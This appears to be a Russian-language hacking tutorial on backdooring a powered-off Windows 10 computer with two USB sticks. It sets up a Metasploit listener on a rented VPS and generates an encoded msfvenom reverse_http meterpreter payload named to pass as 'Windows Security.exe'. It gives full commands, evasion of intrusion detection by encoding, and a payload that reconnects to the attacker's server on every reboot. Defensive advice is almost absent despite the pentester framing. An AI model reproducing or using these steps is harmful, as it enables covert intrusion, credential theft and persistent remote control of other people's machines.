Создаем полезную нагрузку и входим в чужой компьютер без пароля

LeSora

Выключенный ноутбук с Windows 10 можно скомпрометировать меньше чем за три минуты. Нажав всего несколько клавиш, хакер может удалить все антивирусные программы, создать бэкдор, сделать снимки с веб-камеры, перехватить пароли и другие чувствительные пользовательские данные.
Вопрос, который вертится сейчас у вас голове — зачем хакеру проделывать все это именно на моем ноутбуке? Ответ прост — ценен любой компьютер или аккаунт на любом сервисе, даже Pinterest вашей мамы. Многие думают, что им нечего терять или нечего скрывать, но не стоит недооценивать способности и мотивы хакеров.
Взломав ваш компьютер с Windows 10 злоумышленник может превратить его в веб-сервер для фишинга, вредоносного ПО и спама или может просто держать на нем и распространять какой-нибудь незаконный контент. Он также может получить ваши контакты, спамить других с адреса вашей электронной почты, покупать цифровые товары, скомпрометировать вашу репутацию, получить учетные данные для всех ваших аккаунтов, использовать ваш компьютер для размещения ботов и многое другое.
Даже если на устройстве нет конфиденциальных данных, то хакеры все равно могут совершать с помощью вашего взломанного компьютера какие-нибудь незаконные действия. Любая такая активность, совершаемая со взломанного устройства, может быть связана с жертвой, что в свою очередь может привести к большим штрафам, судебным искам или даже тюремному заключению.
Также нужно учитывать, что скомпрометированный компьютер не является настоящей целью хакера. Если владелец работает в крупной компании с большими активами, то именно компания может быть настоящей целью злоумышленника. Скомпрометированный компьютер, подключенный к сети компании, будет работать как устройство, с которого осуществляется проникновение, и который позволяет хакеру выполнять какие-то незаконные действия или же с помощью этого компьютера хакер может получить доступ к другим устройствам сети.

Общий обзор атаки
В этой статье мы рассмотрим, как хакеры, имея физический доступ к целевому компьютеру, могут легко создать бэкдор. Этот пример хорошо подходит как для «белой шляпы» или пентестера, так и для обычных пользователей, желающих предотвратить подобные атаки.
Без ведома большинства пользователей Windows 10 злоумышленники могут даже при выключенном компьютере и без знания логинов-паролей просматривать хранящиеся на них файлы и папки.
Для выполнения этой атаки потребуется две флешки. USB #1 будет использоваться для создания Live USB, с помощью которой будет загружаться целевой компьютер. USB #2 будет хранить полезную нагрузку, которая будет выполняться на этом целевом компьютере. После создания Live USB на первой флешке невозможно будет хранить файлы (т.е. полезную нагрузку), поэтому нам потребуется вторая флешка.
Такая атака может совершаться коллегами, соседями, горничными отеля, соседями по комнате, друзьями, супругами или кем угодно, у кого есть две USB-флешки и три минуты физического доступа к целевому компьютеру. У злоумышленника также будет возможность сделать бэкдор на целевом компьютере с помощью фреймворка Metasploit, что упрощает поддержание долгосрочного и удаленного подключения к целевому устройству, даже если оно физически переместилось в другую Wi-Fi сеть или уехало в другую точку планеты.

  • Создание Live USB
Live USB — это физический накопитель или внешний жесткий диск, содержащий полноценную операционную систему, с помощью которой можно загрузить компьютер без использования его внутренней операционной системы. Большинство современных ноутбуков и настольных компьютеров поддерживают загрузку с Live USB-накопителей без каких-либо проверок безопасности.
Самые популярные программы для создания Live USB-устройств — это Rufus и LinuxLive USB Creator. Мы рекомендуем Etcher, кросс-платформенную утилиту с открытым исходным кодом, предназначенную для максимально простого создания загрузочных USB-флешек и дисков.
Для создания загрузочной флешки мы рекомендуем использовать какой-нибудь легковеный ISO-образ ISO, так как это позволит Etcher’у быстро сделать загрузочную флешку. Для этих целей подойдет абсолютно любой Linux дистрибутив, который разрешает пользователям попробовать операционную систему без ее установки.

Когда Etcher закончит работу, извлеките флешку из компьютера. Теперь ее можно использовать для просмотра и изменения конфиденциальных файлов на выключенных компьютерах с Windows 10.

  • Настройка VPS
Для размещения «слушателя» Metasploit требуется виртуальный частный сервер (VPS). Это тот сервер, к которому будет подключено скомпрометированное устройство.
О том, как арендовать VPS мы уже неоднократно рассказывали, поэтому сейчас мы не будем вдаваться в подробности. Если для вас это незнакомая тема, то ознакомьтесь с нашим общим руководством по выбору подходящего VPS-провайдера. Для запуска Metasploit подойдет любой VPS на базе Debian с не менее 1024 МБ RAM и 1 ядром процессора.

  • Установка Metasploit на VPS
Разработчики Metasploit создали простой установочный скрипт, который автоматизирует весь процесс установки. Для начала скачайте этот скрипт и сохраните в файле — это можно сделать с помощью такой команды:
curl "https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb"https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall

Затем убедитесь, что у этого файла есть соответствующие права на исполнение на вашем VPS. Сделать это можно с помощью команды chmod.
sudo chmod 755 msfinstall

Наконец, для установки Metasploit запустите созданный файл msfinstall из под root.
sudo ./msfinstall


Установка Metasploit должна выполниться менее чем за две минуты. У нас скрипт установки из под Debian 9 выполнился без ошибок. Информацию об установке Metasploit в других дистрибутивах смотрите в официальных инструкциях, разработчиков Metasploit.

  • Установка Screen на VPS
«Screen» — это программа, которая разрешает пользователям управлять несколькими сеансами терминала в одной и той же консоли. У нее есть возможность «отсоединять» или закрывать окно терминала, не теряя при этом никаких данных, выполняемых в терминале.
Например, Metasploit должен продолжать работу после того, как сеанс SSH на VPS будет завершен. Если Metasploit запущен, а терминал SSH будет закрыт, то и Metasploit перестанет работать. Но если вы используете Screen, то Metasploit будет работать в фоновом режиме. Ниже приводим гифку, где в сессии Screen работает редактор nano.

Чтобы установить Screen, используйте следующую команду apt-get:
sudo apt-get install screen

Чтобы просмотреть текущие сеансы Screen, используйте команду, приведенную ниже. Если в фоновом режиме нет сеансов Screen, то команда сообщит нам «No Sockets found».
screen -list

Чтобы начать новый сеанс Screen, просто введите screen в консоли и нажмите Enter.
screen

Экран отобразит информацию об авторских правах и лицензии. Еще раз нажмите Enter. Как только вы окажетесь внутри сеанса Screen, то все, что будет происходить внутри терминала, будет сохранено, даже если вы закроете терминал и выключите компьютер.
Аргумент -r можно использовать для повторного подключения к сессии Screen.
screen -r НАЗВАНИЕ_СЕССИИ

Вышеприведенных команд будет достаточно для начала работы со Screen и управления его сессиями. Для более подробного изучения Screen посмотрите статью Тибаут Руссо в DEV.

  • Настройка Metasploit
Metasploit предлагает средства автоматизации через «скрипты ресурсов». Это может быть очень удобно для хакеров, которые регулярно используют Metasploit и не хотят каждый раз вводить одни и те же команды для настройки Metasploit.
Чтобы создать скрипт ресурса, используйте команду nano для создания файла на VPS с помощью вот этой команды:
nano ~/automate.rc

Это создаст файл automate.rc в домашней папке. Приведенный ниже код нужно скопировать и вставить в терминал с открытым nano
use multi/handler
set payload windows/meterpreter/reverse_http
set LHOST Your.VPS.IP.Here
set LPORT 80
set ExitOnSession false
set EnableStageEncoding true
exploit -j

Теперь давайте посмотрим, что же делает этот скрипт.
  • payload — тип полезной нагрузки, который будет использован. В данном случае — это «windows/meterpreter/reverse_http». Это создаст HTTP-соединение между целевой и атакующей машинами. Хакеры иногда будут использовать HTTP-соединение через стандартный TCP-протокол для уклонения от DPI (глубокая проверка пакетов). TCP-пакеты, идущие на необычные порты (например, на порт 4444, 55555 и т.д.), могут быть легко обнаружены тем, кто отслеживает передачу трафика на и со взломанного устройства.
  • LHOST — это IP-адрес сервера хакера, на котором запущен Metasploit. Заглушка «Your.VPS.IP.Here» в файле ресурсов должна быть заменена на IP-адрес VPS хакера.
  • LPORT указывает порт назначения. По умолчанию данные по HTTP передаются на 80-й порт. Для пассивного уклонения от DPI использовался порт 80.
  • Этот exploit будет автоматически запускаться при запуске файла automate.rc с помощью msfconsole.
Когда вы скопируете приведенный выше кусок кода в nano, сохраните и закройте nano, нажав Ctrl + X, затем Y, а затем нажмите Enter.
Теперь Msfconsole можно запустить с помощью команды:
screen msfconsole -r ~/automate.rc


Создание полезной нагрузки с помощью Msfvenom
Msfvenom — это комбинация Msfpayload и Msfencode, в результате чего оба этих инструмента превратились в единую структуру. Msfvenom — это экземпляр Metasploit для консоли, который используется для генерации и вывода всех различных типов шелкода, доступных в Metasploit. В большинстве случаев чистый шелкод необходимо определенным образом закодировать для надлежащей работы.
Во время этого теста используется простая, не слишком сложная полезная нагрузка Msfvenom. В реальной жизни хакеры будут использовать более совершенные полезные нагрузки, которые смогут эффективно обходить работу антивирусного программного обеспечения. Если антивирусное программное обеспечение удаляется во время атаки, то базовой полезной нагрузки Msfvenom будет достаточно.
Для создания полезной нагрузки Msfvenom для этой статьи был использован Kali Linux. Для создания полезной нагрузки с помощью Msfvenom введите в терминале следующую команду:
msfvenom --encoder cmd/powershell_base64 --payload windows/meterpreter/reverse_http LHOST=YourVpsIpHere LPORT=80 --arch x86 --platform win --format exe --out ~/'Windows Security.exe'


Здесь много чего указано, поэтому давайте разберем, из чего состоит эта команда.
  • encoder. Он кодирует полезную нагрузку так, чтобы она могла обойти системы обнаружения вторжений (IDS), изменяя сигнатуру файла исходной полезной нагрузки в другой формат. Тип кодировщика, который здесь используется — это «powershell_base64». PowerShell — это язык сценариев, разработанный Microsoft для оказания помощи ИТ-специалистам в настройке систем Windows и автоматизации административных задач. Хакеры же используют PowerShell для достижения своих целей с тех пор, когда он впервые был внедрен в операционные системы Windows XP и Vista.
  • payload. Используемый здесь тип полезной нагрузки — это «windows/meterpreter/reverse_http». Указанная здесь полезная нагрузка должна соответствовать той полезной нагрузке, которая используется в файле ресурсов automate.rc, созданном нами на предыдущем шаге.
  • LHOST = YourVpsIpHere. LHOST — это IP-адрес сервера хакера, на котором запущен Metasploit. Этот IP-адрес должен соответствовать тому LHOST, который был указан в файле ресурсов automate.rc, созданном нами на предыдущем шаге.
  • LPORT = 80. LPORT указывает порт назначения. Этот номер порта должен соответствовать параметру LPORT, который мы на предыдущем шаге указали в файле ресурсов automate.rc.
  • arch x86. Старые компьютеры Windows (32-разрядные) используют архитектуру x86 и не могут выполнять 64-разрядные исполняемые файлы. Новые 64-разрядные компьютеры Windows могут использовать архитектуру и x86 и x64. Хакеру имеет смысл использовать архитектуру x86 для охвата более широкого спектра пользователей Windows.
  • platform win. Указывает целевую платформу. Другие платформы включают Android, macOS, Unix и Solaris. В нашем случае используется платформа win, т.е. Windows.
  • format exe. Здесь указывается выходной формат файла, в данном случае — EXE или «исполняемый файл» (executable). Этот файл будет запускаться на компьютерах Windows.
  • out. Хакеры часто называют вирусы и бэкдоры какими-то правдоподобно звучащими именами типа «Windows Security», «Windows Update» или «explorer.exe» для того, чтобы убедить пользователей в том, что запущенный процесс не является вредным или подозрительным. Параметр —out определяет имя exe-файла полезной нагрузки.
Создание USB-флешки с полезной нагрузкой
После генерации полезной нагрузки Msfvenom ее нужно будет сохранить на вторую USB-флешку. Просто вставьте вторую флешку в компьютер, на котором была сгенерирована полезная нагрузка в EXE-формате, а затем перетащите ее мышкой на вставленную флешку. Вот и все, что нужно сделать для создания флешки с полезной нагрузкой.

Заключение
В этой статье мы сделали Live-USB, установили и настроили Metasploit на удаленном сервере, создали простую полезную нагрузку Msfvenom. Со всем этим хозяйством теперь можно получить доступ к целевому компьютеру, пока он находится в выключенном состоянии, затем удалить Windows Defender (и другое программное обеспечение для безопасности) и внедрить полезную нагрузку на устройство. Эта полезная нагрузка будет выполняться каждый раз, когда устройство перезагружается, создавая новое соединение между взломанным компьютером и атакующим сервером.